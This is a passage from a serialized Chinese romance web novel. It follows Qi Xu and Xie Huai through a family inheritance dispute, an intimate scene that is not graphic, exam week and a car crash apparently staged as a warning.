以前两个儿子优秀,根本不用操心,曾云何时给人这样阴阳怪气过。 她的脸色变得很难看,动也不是,不动也不是,只顾着自己的脸面从来都没有想过为戚栩说过一句话。 老爷子拄着拐杖起身:“他在自己院子里吃饭,你们别去打扰他,” 李叔提前去了一趟侧院,和戚栩说如果不想见他们可以不去正院。 戚栩深知自己的起床气还没有消,他怕自己吃着吃着被人惹生气一股脑子把饭桌给掀了,把老爷子吓到。 索性就不现身,好好地在他的这个院子吃饭。 在老爷子这里,就是戚栩的家,可以像个有人撑腰的孩子一样,做喜欢做的事,没人可以强迫他做不愿做的事。 众人不知道是老爷子不想让戚栩来见他们,以为是戚栩嚣张的行事风格惹得老爷子不满,勒令不允许出席沈家家宴。 也是,连沈泽予这个养子都拿到了股份进入沈氏,戚栩没有得到股份,也没有参与沈氏项目印证了他们心中所想。 戚栩已经被老爷子所放弃,出生在小山村,烂泥扶不上墙。 老爷子只不过是为了那点血脉关系起了恻隐之心没把人赶出去。 然而用餐过后,老爷子的一句话打破了他们的幻想。 “老宅名下的户主我已经转到小栩名下,以后你们来访不是我做主,小栩不想见你们,你们休想踏入老宅半步。” 本来热热闹闹的客厅此刻死寂一片。 众人意识到被人赶出去的是他们。 最不该说话的沈三叔嚷嚷着:“老爷子,老宅可是我们沈家的根基,过户给戚栩是不是太儿戏,他一个从未接受过精英教育的人迟早会把根基败坏。” 只是过户而已,并不是把名下的财产给戚栩,沈家小姑美名其曰地为沈卓宏讨公道:“爸,大哥还在这里呢,说这些话是不是为时过早。” 沈卓宏不领自家妹妹的“好意”:“可以当我不在,我女儿刚大学毕业志不在此,我儿子现在连话都说不明白,如果让我继承,别说根基了,我只怕他把家产都败光,到时候靠大家接济。” 老爷子说一不二,没人能忤逆他的话,再惹老爷子不高兴,他们通通卷铺盖滚蛋。 老宅过户,市价十几亿,虽然不忿,眼红得滴血,但始终名不正言不顺。 况且沈枫凯这个长孙都没开口说话。 曾云眼神复杂并不知道在想什么,沈泽予垂着眸一脸乖巧,嘴角始终保持微笑,在门外响起声音的瞬间抬头。 刚从医院回来的谢淮走进正厅向老爷子问好:“爷爷。” 谢淮是谢家继承人大家都知道,目光一下子被吸引了过去,甚至还有长辈放下面子主动和谢淮问好。 谢淮随意地应付了几句。 沈老爷子见他眼下的青色以及一脸倦意,昨晚应该没有怎么休息,开口:“到侧院休息吧,我让人送吃的过去。” 谢淮点了点头应下,并没有多停留,这个客厅除了老爷子之外其他人不值得他留心。 沈泽予动了动嘴巴,看着他离开的背影始终没喊出阿淮两个字。 谢淮去侧院休息,那里是戚栩的住处不是客房。 什么样的情况下老爷子会让他去侧院,而不是让他回谢家,那只能是老爷子已经知道谢淮和戚栩的关系,不反对意见。 沈泽予以为自己拿到沈氏股份能够和谢淮并肩站在一起,实则不然,他怎么能这么狠心连一眼都不看他呢。 他看着那个消失的背影越发不甘。 第75章 第 75 章 李叔带着谢淮到侧院, 刚进院子不知从哪里滚出来一个弹力球,径直地滚到谢淮的脚边。 他弯腰捡起来,李叔见状说道:“今日沈家旁支的少爷们在院子里欺负梓炀少爷, 少爷被他们吵醒, 站在阳台上拿球扔他们,我还是第一次见少爷发脾气的样子。” 沈家老宅上上下下都是偏心眼,全都偏袒戚栩,护着他站在他这边,今早侧院鬼哭狼嚎, 平时眼观六路耳听八方的佣人愣是没出现。 等到所有人离开侧院才进来收拾残局。 谢淮知道是戚栩的起床气,天大地大睡觉最大,他捏着弹力球不免想到暑假在墙头相遇那天。 说来也巧, 他本来是在屋里看书,忽然从门外飞进来一只蝴蝶,停在了他的书本上, 他出门放走蝴蝶的时候见天气这么好索性在院子里看书。 如果没有那只蝴蝶他们是不是就会错过,就算两家老人交好, 也不及他们自然相遇。 那时的戚栩对他戒备心很强,而他自己呢,单纯地对戚栩这个人感兴趣, 其实还是有看戏的因素。 狗血戏码在豪门常见,私生子争权, 把整个家族变成乌烟瘴气, 更何况调换变成抱错, 但是戚栩确实视而不见, 从来都没有说要争些什么。 更没有说知道他的身份接近他,而是坦荡地头也不回走向与沈家反方向的道路上。 他不知道为什么刚成年的戚栩有这份通透和不争不抢, 先前的18年到底经历过什么。 戚栩身上似乎有很多他看不透的东西,他想解开那团迷雾,不自觉地靠近,等到他意识到自己偏航的时候,他已经被这个人所吸引,产生这辈子的第一份情愫。 秦缓思说他18岁以前只对铁皮人感兴趣,但他没有报到自己喜欢的志愿。 18岁时,他喜欢上了一个人,机器人他护不住,如今不想重蹈覆辙,他想护着他,想他一起走未来的路。 谢淮把手上的弹力球递给李叔:“起床气而已,他平时没有这么大的脾气,我去哄哄。” 李叔笑了起来:“那感情好,我听他们说少爷中午的胃口也不好,竟然没吃完那份蔓越莓蛋糕。” 那很严重了,连蛋糕都没吃完。 谢淮加快了步伐走进里屋。 戚栩躺在沙发上一边抛着球一边和李恺兴打电话:“宴会的事你和苏珂浩去吧,我去不了,为什么去不了,期末周啊,挂科你替我补考?” 另一边沈梓炀拿着个球跑过来,戚栩又把手里的球扔出去,下一秒沈梓炀又屁颠屁颠地跑出去捡球。 一款全自动的消耗孩子精力的机器。 李恺兴在电话那头听到踢踏的声音,问道:“戚少,你家养宠物了?” 戚栩回:“没养宠物,养了个卷毛,需要消耗他的精力。” 不然这孩子就爬上来压着他,眨着卡姿兰大眼睛问能不能教他扔球。 戚栩别无他法只能说想要学扔球先学捡球,就这样扔球训练开始了。 李恺兴不明所以:“卷毛不就是泰迪?比熊?我还是喜欢高大威武的狗,牵出去多威风啊。” 戚栩明明在和李恺兴打电话,另一份注意力放在沈梓炀身上,明明开门的声音相比于李恺兴的大嗓门不值一提,约等于无。 但他还是听到了,立即从沙发上起身看向门口,谢淮正推门而入。 戚栩说:“我有点事先挂了。” 李恺兴连忙问:“不是,项目的事说到一半呢,急着干嘛去啊。” 戚栩说:“急着谈恋爱。” 李恺兴:“……” “祝你和老板娘百年好合。” 戚栩挂了电话,谢淮脱下大衣朝戚栩走去,然后稳稳地接住了朝他跳上来的人。 戚栩这会儿才注意到谢淮的状态,用指腹蹭了蹭他的眼下,眼里不乏心疼,轻皱眉头:“一晚上没睡?没有请护工吗?” 他应该是累了,戚栩打算下去,不过大腿被人紧紧地托着不放手。 谢淮抱着人的时候心才落下,有实感:“睡了一会儿,不累,听说蛋糕没吃完,那些人惹你生气了?” 戚栩的眼神颇为无语,一定是李叔告状:“四寸的蛋糕怎么吃完,当喂猪呢,还有,我有气当场讨回来了,自己生闷气只会憋坏自己。” 谢淮抱着人,嘴唇蹭过他的额头,扬起嘴角:“我知道,有仇当场报,给我踢下床了。” 戚栩:“……” 这是能混为一谈的事吗。 沈梓炀捡球回来,这个球被戚栩扔到书房,滚进了书柜底下,费了好大力气才拿出来。 不巧看见他哥被大哥抱着:“哥哥,你这么大个人也要人抱吗?” 戚栩脸皮有些薄,挣扎着从谢淮身上下来,谢淮轻轻地把人放在沙发上。 谢淮回答他的话:“因为他是我的宝贝。” 宝贝多么珍重的两个字,戚栩没想到自己有朝一日会被人叫宝贝。 以前他被多方嫌弃,勉强把他当成人的,没把他当人的,说一句万人嫌不为过。 叫他宝贝的人还是谢淮,他喜欢的人。 戚栩心里万般感慨,无以言表,尤其喜欢这个称呼,被人珍重的感觉原来是这样。 谢淮发现戚栩看他时眼里的雀跃,低落的心情也好了不少。 戚栩得知谢淮还没有吃饭,亲自看着人吃完午饭,再把人送进了浴室洗漱,接下来得好好休息。 谢淮穿着戚栩的睡衣,但没穿好,扣子没扣,就这样从浴室走了出来,并且一上床就抱住了戚栩。 戚栩正在回复工作群的消息,一下子被人扑倒,手机飞了出去。 他算是发现了,一旦有什么事手机先替他挡灾,好在落在了床尾。 戚栩不管手机了,顺势躺在床上捏着谢淮的后颈:“我陪你睡会儿?” 这个回笼觉隔了顿午饭,戚栩也有点困了。 不过某个人缺觉的人不想睡,在他的颈侧作乱,戚栩习以为常,现在是冬天,可以穿高领毛衣,戴围巾遮住那些暧昧的痕迹。 戚栩睡衣扣子又被解开了,他被蹭得忍不住笑,这会儿在自个房间用不着克制。 “谢小狗。” 戚栩张着嘴和谢淮接吻,这张床成了他们欢愉的一方天地。 谢淮的占有欲极其吓人,只对戚栩,何尝不是戚栩乐意纵容。 谢淮又咬住了戚栩的锁骨,占为己有,手一路往下,指尖擦过单薄的腰腹,却没有过多的停留,最后探入了睡裤的边沿。 戚栩后知后觉,终于意识到不对,这根本不是小狗,而是一匹狼。 他按住了谢淮的手,看起来坐怀不乱,实则呼吸已经重了几分:“不是说睡觉吗?” 谢淮眼眸黑了下来:“不耽误睡觉。” 戚栩还是没有放开手,谢淮舔过他的喉结:“不想吗?” 戚栩闭了闭眼,呼吸继续加重了,反应有些大,谢淮清楚知道他的敏感点在哪里。 他鬼迷心窍地松开了手,任由谢淮的动作。 这个时候时刻他就该意识到引狼入室,只因他的思绪像浆糊般和成一团来不及思考。 他的手被谢淮带到了腰腹,谢淮在他耳边轻语:“管管它。” 除了自己从来没有人碰过他那里,他也从来没有碰过别人。 戚栩头昏脑涨的,只凭着下意识的动作,并没有取悦的意思,谢淮不断的轻喘,脸上的潮红都告诉戚栩一个讯息,他在兴奋。 戚栩知道谢淮不对劲,从看到他的第一眼就觉得,他只对谢淮有这种直觉。 可能关于他们的感情,谢淮在不安,这种情绪不该出现在他身上,谢淮本应该永远的自信,永远的意气风发。 戚栩一想到谢淮的不安和他有关心里不由得酸胀,这个人的心装的好像都是他。 上一世的这个时候他们在做什么,在沈家的第一个元旦。 哦,他回沈家了,被那一群人批判,最后他在饭桌上直接把饭碗给摔了,把家庭聚会弄得鸡飞狗跳,不公和不甘围绕着他,他需要宣泄口,所以他发作了。 今时今日,他却在和前世如陌生人一样的谢淮做着无比亲密的事,毫无保留地坦诚相见。 舍去那一家人无所谓的亲情,他得到了一份无比珍贵的感情。 一个人足以填满他心中的缺口。 外面青天白日,冰天雪地,房间里昏暗,温度不断攀升,热得人脸不禁浮上红晕。 谢淮轻轻地,缓慢地,认真地,对着戚栩说:“宝贝。” 戚栩仰着修长的脖子,脸上滴下汗水,血液依旧在沸腾。 戚栩手上的动作随着脑子空白那一瞬停了下来,谢淮攥着他的手腕开始半自助。 谢淮明显比戚栩用时长,戚栩已经回过神来了,累得不愿意动弹一根手指。 在戚栩的抱怨下终于结束了。 谢淮起来收拾残局,戚栩脱力地躺在床上只有眼珠子能动。 谢淮重新回到床上把人揽入怀中,看着他的状态觉得好笑:“你做了什么,这么累?” 戚栩一头撞在谢淮的肩膀没说话,在谢淮的安抚下一秒入睡。 谢淮的手指拂过戚栩的侧脸,眼底是狂欢过后的冷静,无人知道他在想什么,最后心满意足的抱着人闭上眼睛睡了过去。 第76章 第 76 章 元旦过后就是期末周, 李彦和冯振杰陷入了焦虑中,焦虑地复习,焦虑地玩耍, 焦虑地咆哮。 “考九门, 九门,把我命门加上去凑个整数吧,十全十美,最后成绩遍地开花。”李彦再一次在图书馆没占到座位发泄中,“天还没亮就去排队等图书馆开门, 谁能卷得过他们。” 主要是天气冷,从被窝里起床需要一定的勇气,每天都得花费一定的时间把自己哄起床。 戚栩也起不了床, 不过还好,他不需要自己哄自己,有人哄他, 而且还有人帮他整理好重点,只要能睁开眼睛就能平安度过这个期末周。 冯振杰跟着他一起发牢骚:“救命, 我的脑子要爆炸了,明明我一节课都没缺过,一天到晚忙到头, 到头来为什么这些公式我好像不认识。” 正在看书的戚栩被他的话给逗笑了:“你们先对着公式来个自我介绍吧,它们可能也不认识你。” 冯振杰还真对着书本开始自我介绍, 有种淡淡的疯感。 李彦追求真理, 明明都是人类, 为什么他们宿舍的两位大神好像和知识点达成了协议, 主动钻进他们的脑子里。 “栩哥,你怎么记得这么多知识点, 不会真有哆啦A梦的记忆面包吧。” “你当科技玄幻片呢,还记忆面包。”戚栩笑着说:“记得住知识点因为我有上辈子的记忆。” 谢淮放在键盘上的手一顿,看了一眼戚栩的表情,没什么异样,可不知道为什么他的心忽然感到一阵钝痛。 戚栩是真的在笑,不是强颜欢笑,宛如一句无意说出口的玩笑话,谢淮心里越发不是滋味。 半年的体检谢淮确认自己的心脏没有任何问题,莫名的痛楚,不明的理由。 李彦明显也把这当成玩笑话:“上辈子栩哥应该是长命百岁,能记得住大学时期的知识?你逃孟婆汤了?” 戚栩侧头注意到谢淮的异样,没继续这个话题:“图书馆抢不着位置去教学楼空的教室复习,你们这种学习状态到了考试那天神仙都难救。” 两人是听劝的,收拾好东西就出门,还贴心地询问是否要带晚饭。 沈老爷子知道他们期末周,这段时间都让人给他们送营养餐。 戚栩说:“不用,你们今晚别吃这么饱。” 他们一听就知道今晚有好东西吃,顿时都觉得干劲满满,人果然离不开吃的。 等到两人离开宿舍后,戚栩起身走到谢淮跟前:“怎么了,不舒服?” 谢淮拉了一下戚栩的手,后者主动跨坐在他的腿上,捧起他的脸揉开紧蹙的眉头。 谢淮环着戚栩的腰:“有点累。” 戚栩听到这句话心里五味杂陈,最近谢淮好像是比以前忙了,越来越多的电话,有时候连午饭都来不及吃就出去,午休后再回来上课,公司和学校两头跑。 还要帮他整理期末重点,是个铁皮人都顶不住。 戚栩捻着谢淮的头发:“复习重点我自己整理吧,早上没课的时候不用这么早把我叫醒,你多睡一会儿。” “什么时候变得这么懂事?”谢淮垂眸,把人往自己身上靠,“不叫醒那一个上午就过去了,能复习上吗?” 戚栩按着谢淮的肩膀调整坐姿,和他紧密地贴在一起:“淮哥,养家糊口我也会,你不要把自己逼得这么紧。” 戚栩其实一直都觉得谢淮除了身体的反应像18岁,一撩就in,不论思想和行为处事都很成熟。 可能和从小的教育有关,谢淮的出生被谢秦两家寄予了厚望,在压力下长大,好在没有长成小老头的性格,在该有的年纪青春洋溢。 只是有时候过于深沉,连他这个心理年龄28岁的人都无法知道他心里在想什么。 十年之后也就有了不苟言笑,城府颇深的谢总。 如今谢淮的性格似乎要往这个方向发展,仔细想想,戚栩前世每次和他见面的时候,眼底里都有他看不懂的情绪还有疲惫。 当然,两人拢共也没见过几次。 谢淮撕开一颗果脯递到他的嘴边:“不是喜欢印钞机吗,我当你的印钞机。” 这对戚栩来说就是情话。 “又是许愿机器又是印钞机,看来是爱铁皮人深切,不用你当机器人,当专属我的座椅吧,把手机静音,不看手机专心复习。”戚栩的语气多少有点霸道。 谢淮乐意地照做,更喜欢一直能抱着戚栩。 一整个下午,戚栩就跨坐在谢淮的腿上看书,偶尔换个姿势侧坐,累了的话就靠着谢淮休息,偶尔接吻放松。 像一对寻常不过的小情侣,只不过这两人是无感情的学习机器,为期末考而奋斗。 在紧张的期末周,戚栩也忙起来了,先前说的宴会由李恺兴和苏珂浩出席,没想到前一日苏珂浩感冒发烧吊了一天的针水,在家休养中。 钟艾明负责出差任务,戚栩唯有抛下书本和李恺兴一起出席。 从家里出发,李恺兴过来接他,不过宴会上少不了喝酒,所以让陈威接他们到会场。 说真的,李恺兴其实还没有正式参观过戚栩的家,除了收房那次,时隔这么久布局应该有所变化。 “戚少,房子住得还舒服吗?一个人住会不会太空。” “还可以,床很舒服。”戚栩说,“不空,两个人住刚刚好。” 李恺兴一下子就精神了,脸上挂着八卦两个字:“你和老板娘同居?” 戚栩倒也没有否认:“和谢淮一起住。” 李恺兴的八卦热情被浇灭了,没什么兴趣:“之前谢少不是也一起看房吗,怎么和你住在一起了?” 戚栩意简言骇:“同居。” 李恺兴呆若木鸡,不知道是对他老板是同性恋,还是对和谢淮在一起这件事感到惊讶。 他不再是几个月前的愣头青,觉得戚栩是沈家少爷而随母姓,多少了解到他老板的身世,不知作何表达,只能说一句老天还没瞎。 他同样知道谢淮是谢氏的继承人,出生豪门望族。 不说别的,两人的确门当户对,应该不会是什么狗血联姻,那就是两情相悦。 李恺兴说:“你们俩结婚会请我吧,怎么说我也是你们定情房的中介。” 戚栩:“……” 就在这时,李恺兴的手机响起,他拿起来看了两眼,朝戚栩晃了晃:“老板娘给我发信息了,让我看着你别喝这么多。” 说着他想到出差S市那两日,说:“我就说他问我拿那两天的行程干什么,原来一切都有迹可循。” 戚栩拿过李恺兴的手机进行回复:他要喝我也没办法,因为他是我的老板。 李恺兴不会对谢淮这么说话,一看就穿帮了,转头谢淮就给戚栩发了条语音。 谢淮点开——“五分醉以下明天任你吩咐,五分醉以上明天一整天都要听我的。” 戚栩对自己的酒量一如既往的自信,回复了一个1,被小组作业文化入侵了。 戚栩作为云瑞的创始人鲜少露面,这也是他第一次出席公众宴会。 李恺兴并没有特意介绍戚栩的身份,戚栩也有意低调,目前他这个身份如果有心人想调查,很容易就能查出他的和沈家牵扯的事。 为了不给云瑞带来不必要的麻烦,戚栩以云瑞的开发部负责人现身。 然而戚栩的样貌和行为举止注定不会低调,况且云瑞又是一匹黑马,不少人拿着酒杯过来攀谈。 李恺兴社交恐怖分子,加上戚栩前世历练回来的见人说人话见鬼说鬼话的技能,整个宴会就属这两人最忙。 敬酒更是一杯接着一杯,最后被李恺兴提醒:“做做样子就够了,养会儿金鱼吧,要是你喝醉了,我怕谢少揍我。” 戚栩瞥了他一眼:“他不会动手。” 他就没见过谢淮动过手,但他知道这人的力气比他大。 就在两人都以为能歇息一会的时候,三人朝他们走来,其中有一位是外国人。 李恺兴认出了其中一个人,主动打招呼:“贺总,好久不见。” 贺总握上了李恺兴的手,笑着介绍:“李总监,这位是我们创智的首席执行官Jackson。” 贺总是S市一家互联网公司的总经理,在行业里也算是数一数二,无奈抵抗不住外资的入侵,如今变成中外合资。 Jackson也握上了李恺兴的手,望向一旁拥有优秀相貌的戚栩。 戚栩自我介绍:“我是云瑞开发部的部长,戚栩。” Jackson非常热情想对戚栩来一个贴面礼,被戚栩给拒绝了。 之后这人用蹩脚的中文和戚栩交换联系方式,把中国人那套有空一起吃饭学得淋淋尽致,戚栩给了他工作号。 最后这三人被其他公司的人围住,李恺兴和戚栩才得以离开。 李恺兴心有余悸:“这外国友人也过于热情了吧,要是你被占便宜了,我没看住,我对不起谢少给予的厚望。” 除了必要的社交礼仪,戚栩压根不会给人触碰他的机会。 倒是他总觉得这个叫Jackson的人有点眼熟,好像在哪里见过,一时之间想不起来。 宴会结束,李恺兴和戚栩的住处是两个相反的方向,而且他喝醉了不能开车,也就不能回戚栩那拿自己的车。 李恺兴说:“你也别绕了,我自己叫个车,谢少还在家等你呢。” 戚栩无语地说:“不送喝了酒的下属回家,这是老板能干的事?” “没喝酒,不过是二十分钟的事,你搭上我再绕那就是一个小时的事。”李恺兴看了眼门口的车,“我叫的车到了,到家给你发信息。” 戚栩记下了车牌号,看着李恺兴上车后离开。 已经晚上十点半,夜路上只有寥寥几辆车,畅通无阻,经过一段田野公路时,车后忽然出现两辆黑色的车。 以陈威的敏锐力不免多注意了那辆车的动况,只见其中一辆忽然加速超越了他们,并没有放慢速度,让他稍微放下了一些警惕。 后排的戚栩一直系着安全带,闭目养神中,刚刚的呼啸而过的车声也没有引起他的注意。 陈威的车速不算快,后面的车一直没有超越他们,这也很正常,夜间行驶,安全第一。 忽然马路对面开着一辆打着远光灯的车,陈威被晃了一下眼睛,下意识地踩了一下刹车。 戚栩睁开了眼睛,下一秒“砰”的一声,车辆撞上了前面的车,同时也被追尾。 劳斯莱斯被夹在了中间,戚栩也因惯性向前冲,安全带拉到极致,勒得他发疼。 又因车尾的二次撞击往旁边倒,脑袋重重地磕上了车窗,似乎比车辆的撞击声还要大。 驾驶座的安全气囊都弹了出来,陈威头晕眼花之际第一时间确认后排戚栩的情况,额头渗着血丝。 车辆情况更是不容乐观。 第77章 第 77 章 前车和后车上面的人都没有第一时间下来, 陈威刚把手放在车门上听到戚栩的声音:“先报警。” 戚栩额头作痛,如果不是陈威下意识地踩下刹车降低车速,以他们的车速足以将前方车辆掀翻。 刚刚那辆打着远光灯的车丝毫没有放低车速, 虽然这段路刚通车, 两边也有路灯,没必要开远光灯。 戚栩解开了安全带摸索刚刚被撞飞的手机。 陈威报警之后拿着防身的武器下车检查油箱是否有损坏漏油,这个时候前车的后排下来一个女人,似乎受伤了,跌跌撞撞地扶着车外壁朝他们走来。 同时后车也下来一个穿着休闲服的年轻人, 第一时间时间就对着陈威破口大骂,是车祸后正常不过的现象。 前后两辆车的驾驶座的司机都没有下车,不知是否受伤严重。 这段道路是刚开发, 半个月前才通车,原本车流量就不大,这会儿是夜晚, 风很大,路边的树枝都在使劲儿摇晃。 夜色里, 碎了一地的车灯,破败的后车厢,劳斯莱斯像一只苟延残喘的猎物被夹击, 喘息着无法逃脱。 陈威受伤并不严重,精神紧绷着, 不对, 这一切都不对, 放在后背的手已经握上了伸缩棍。 下一秒戚栩下车, 眼神悠悠地扫过那两人,手里还打着电话:“父亲, 这么晚打扰你休息,我想和你聊一下有关沈氏股份的事宜。” 这是沈泽予退学之后戚栩第一次联系沈卓海,只是这个时候这个情形打电话说股份的事似乎不合适。 戚栩外放通话,沈卓海被人扰了清梦十分不耐烦,还有听到股份两个字下意识地加重语气:“什么股份?” 戚栩嘴唇发白,声音平静:“大哥说让我接手沈氏项目,从他的股份里转让出一部分给我。” 沈卓海给予了什么回应戚栩已经听不清楚,他的注意力全然在身后那辆库里南上,以及从后排下车的人身上。 夜幕低垂,库里南的车灯明晃晃地打在了跟前,黑暗瞬间被光明所包围。 谢淮背光而来,在疏疏光影下身影高大,越走近那双黑眸越发深沉,像个煞阎罗。 谢淮过于严肃的脸色却给了戚栩无比的安心。 谢淮扫过戚栩额头上的伤不免加快了脚步,伸手环住了戚栩的肩膀。 戚栩站不住脱力地靠着谢淮,还在死撑着:“我没事。” 沈卓海没听到戚栩的声音连续追问,谢淮接过戚栩的手机:“沈叔叔,戚栩和我在一起,他现在不方便。” 没等沈卓海说些什么,谢淮就挂了电话。 前车的女人顺势地靠着车辆蹲了下来,前车也打开了应急双闪,那个破口大骂年轻人也拿出手机给保险公司打电话问赔偿的事。 宛若这只是一起寻常不过三车连环追尾的交通事故。 谢淮没等救护车,将人带上了库里南,之后又来了一辆车,谢淮的人处理现场情况。 老高在开车,陈威坐进了副驾驶,两人感到前所未有的压迫感,像座大山一般压着他们不敢喘气,甚至连后排都不敢看一眼。 唯有戚栩不知死活地蹭着谢淮的下巴:“你怎么来了?” 谢淮问陈威:“今晚发生车祸的准确时间?” 陈威下意识地坐直身板:“22点45分左右。” 谢淮看了一眼外表:“距离现在23点20分,已经过去35分钟,你没有通知老高,也没有通知任何人,你是一个人面对这起事故?” 事故两个字被谢淮咬在嘴里,却听出了一点若有所指的意思。 戚栩现在头晕,听到谢淮说出来的一串串的时间更晕了,谢淮看到戚唇色发白连忙拿过一旁的袋子打开。 戚栩刚想接过,谢淮没让,戚栩头晕目眩,在谢淮怀里,在谢淮手上的袋子里,把今晚的酒全都吐了出来。 直到最后连黄胆汁都吐出来,吐无可吐只能干呕。 谢淮抚着戚栩的背,又拿出手帕给他擦嘴,戚栩嘴边的脏东西沾到他的手,后者没反应,戚栩抽过纸巾给他擦。 戚栩按住了他的手:“头晕。” 这些伤对戚栩来说算不上什么,戚栩受过比这更严重的伤,他自己都认为练就了一身金刚不坏的身躯,只不过是见到谢淮的出现瞬间觉得受伤的地方在痛。 戚栩都觉得很意外,为什么会出现这种现象,过后他几乎确定自己完全信任谢淮,他找到了属于自己的安全港。 这是从来没有过的体验,新奇又觉得意犹未尽。 谢淮将人抱紧了些,微微蹙眉:“快到医院了。” 老高在确保安全的情况下以最快的速度前往医院。 抵达医院,戚栩在医生的指示下做了很多检查,谢淮一直在身边。 最后被医生确诊为轻微的脑震荡和锁骨软组织挫伤,谢淮直接安排他住进vip病房。 十分钟后戚栩在病床上输液,额头上的伤口已经处理好,依旧一声都不吭。 谢淮刚刚亲自帮戚栩换下繁琐的正装,穿上病服,在他的腰腹还看到被安全带勒红的痕迹。 戚栩躺在床上盯着谢淮,再次问:“你怎么来了?” 按照时间点,谢淮是打算来接他的,可已经有陈威在,谢淮没有理由再来。 戚栩虽晕,但从车祸现场看到谢淮的那瞬就觉得有些不对,眼眸底下不是担忧而是后怕。 谢淮上手调慢了戚栩的针水的速度:“我不放心。” 戚栩追问:“为什么不放心。” 谢淮原本在家等戚栩回来,看文件的时候心忽然一阵阵钝痛,如上一次听到戚栩若无其事地说起前世一般。 这次的钝痛比上一次更久,他当机立断查看戚栩的位置,发现他还在会场,毫不犹豫地去接他。 谢淮要亲自确认戚栩的安全。 谢淮没把心脏痛这件事告诉戚栩,同时也掩盖眼底的疯狂,平静地说,“我想亲自来接你。” 戚栩信了一半,毕竟谢淮最近很粘人,至于剩下的一半有待考察,没有给他发信息,说明来接他这个想法临时所起。 戚栩看了一眼走廊,刚刚他就发现门口几个人守着:“把他们撤了吧。” 谢淮没应,戚栩拉住了他的手。 这会儿戚栩才发觉人形小火炉的手冰凉,仿佛失去了所有的温度。 戚栩安慰他:“这只是一起普通的交通事故,没发生什么事不是吗?” 谢淮垂眸盯着他看:“你觉得是吗?” 戚栩冷笑了一声:“明面上我可以当作是。” 当然是为了不打草惊蛇,引出的可能不是一个,而是一群。 戚栩用股份已经试探出这些人为谁服务,他们身上应该有监听器,沈卓海的声音一出现他们就没有动手。 可能是知道老爷子让他继承了老宅,而且老爷子手上还有沈氏的股份,说不定一个不注意他就成为第三大股东。 戚栩肯定他们暂时还不想要他的命,伪装车祸漏洞百出,越是大的意外越容易被推翻,应该只是给他一个警告。 今晚的宴会行程算是戚栩临时决定,除了公司的高层没多少人知道,那就是在宴会里他被通风报信了。 至于是谁,戚栩现在没什么头绪。 谢淮却说:“我不可以。” 不管明面还是私底下,谢淮都不会放过始作俑者,恨不得将这些人碎尸万段,剁碎了喂狗。 戚栩看出了谢淮眼底的狠意和不可控,刚想坐起身,被谢淮给按住了:“不要乱动。” 戚栩蹦出一个字:“抱。” 戚栩难得表现出需要爱,谢淮满足他所有的要求,面沉如水走到床的另一边坐在边上,把人揽入怀里,时刻注意戚栩吊针水的手,还要避开额头受伤处。 谢淮的不安都被戚栩看在眼里,他单手抱着他的腰:“我在,我没事,你摸摸我。” 说着戚栩拉住谢淮的手放在自己温热心口,试图让自己的体温传递在那只冰凉的大手上。 谢淮舍不得用力,又恨不得把人融进血肉里,走到哪带到哪,这样他才能安心。 如果戚栩没有系安全带,又或者陈威没有踩下刹车,这场车祸是不是就无法避免,戚栩会受重伤,亦有可能就此丧命。 一想到这里,谢淮的暴动因子即将控制不住,他无法承受失去戚栩的可能,他绝不允许,绝不。 光是想象……不,无法想象。 戚栩的体温不算高,花费了许久才把那只手焐热,可还不够。 下一秒他主动递上颈脖,乖巧地说:“淮哥,咬我吧。” 戚栩装作温顺乖巧的模样正好踩在了控制欲超强的谢淮心底,扭曲掌控欲得到满足。 谢淮低头一口咬在了戚栩的颈侧,比以往加重了力气,戚栩的眼睫颤了颤,沉默地接受这一切。 谢淮的犬牙叼着那块单薄的皮肤又咬又吮,在药物的作用下,戚栩觉得自己有点飘飘然,也没管谢淮的所作所为。 怀里的人呼吸平稳,谢淮把人放平在床上,盖好被子后在戚栩的鼻尖上亲了一下,看了好几分钟才离开病房,也没有走远就在走廊给人打电话。 “调查清楚今晚发生的追尾事件,我不希望见到最后的结果是意外,将沈泽予和宋若明同流合污的资料送给沈枫凯,特别是和戚国辉有联系的照片,送到沈夫人的手里。” 对面是秦老爷子的人,后半段任务对他来说不在话下,但前半段似乎带有一定的私人情绪,他不得不开口询问:“如果最后的结果是意外呢?” 谢淮的语气平静:“那就是你们的无能。” 那人沉默了两秒后才说:“少爷,这件事我们不能定夺,必要时候我们会上报给老爷子。” 谢淮说:“不必了,我会亲自和外公说。” 第78章 第 78 章 第二天早上, 戚栩觉得没这么晕,但就是吐,喝个水都吐, 喷泉都没他能吐。 这下真的只能靠吊针水维持生命。 谢淮不知道去哪里了, 戚栩一醒来就没看到他,一旁的沙发上放着毯子,知道他一整晚都在病房里。 护士进来换药后,陈威过来守了他一会儿。 他作为戚栩的私人保镖,让雇主出现这种意外主动要罚:“少爷, 您出院之后会其他同事接替我的工作,他叫……” 戚栩抬手打断了他的话:“干什么?赶着到我这里来请辞,我没时间再去培养一个有眼力见放下挡板的人, 你做过详细的检查了吗?” 陈威想到每次放挡板都是在后视镜里对上谢少爷的眼神,每个人看到这个眼神应该都会放下挡板。 他回答:“做过检查,除了软组织挫伤身上没别的伤。” 戚栩说:“你让人到学校给我拿一下复习资料。” 刚刚他问过护士什么时候可以出院, 对方客客气气地说要请示主治医生,之后主治医生带着一群医生进来, 对着他询问了一番,说他这个情况还需要留院观察两三天。 他当然知道这是谢淮的意思,在这里闲着也是闲着, 过几天就要考试不如复习一下期末重点。 陈威愣了下,这个时候才想起戚栩是个学生。 他应下:“我这就让人去拿。” 戚栩恢复平躺, 问:“爷爷那边你说了吗?” 陈威如实告诉他:“昨晚发生的事谢少让我不要向老爷子汇报。” 谢淮知道他不想让老爷子担心, 昨晚他没来得及对陈威吩咐这件事, 谢淮替他做了。 陈威出去办事后, 戚栩拿起手机查看消息,一个晚上李恺兴给了他发了无数条消息。 李恺兴:【老板, 我安全到家了。】 十分钟后,李恺兴:【???收到请回复。】 没得到回复又给他弹了语音,估计那个时候他在做检查,手机在谢淮那里。 李恺兴:【老板,你别吓我。】 三十分钟后,李恺兴:【吓死,原来你和老板娘在一起,他说最近期末周会忙一点,你放心把公司交给我们,安心复习。】 戚栩回复李恺兴:【涨工资加年终奖。】 继续往下拉还有李彦和冯振杰的慰问,今天上午要填写资料,两人分别给谢淮和戚栩发信息,得到谢淮的回复信息知道戚栩生病了。 最后两人帮他们填写资料上交,他们问戚栩的身体是否有大碍。 戚栩隐下了车祸的细节,回复路上遇到剐蹭,肯定能准时出现期末考。 再往下拉就是沈卓海和沈枫凯给他发的信息,没看,直接略过。 过后,和复习资料一起送到戚栩手上的还有南瓜小米粥,当然旁边不可缺的还有果脯。 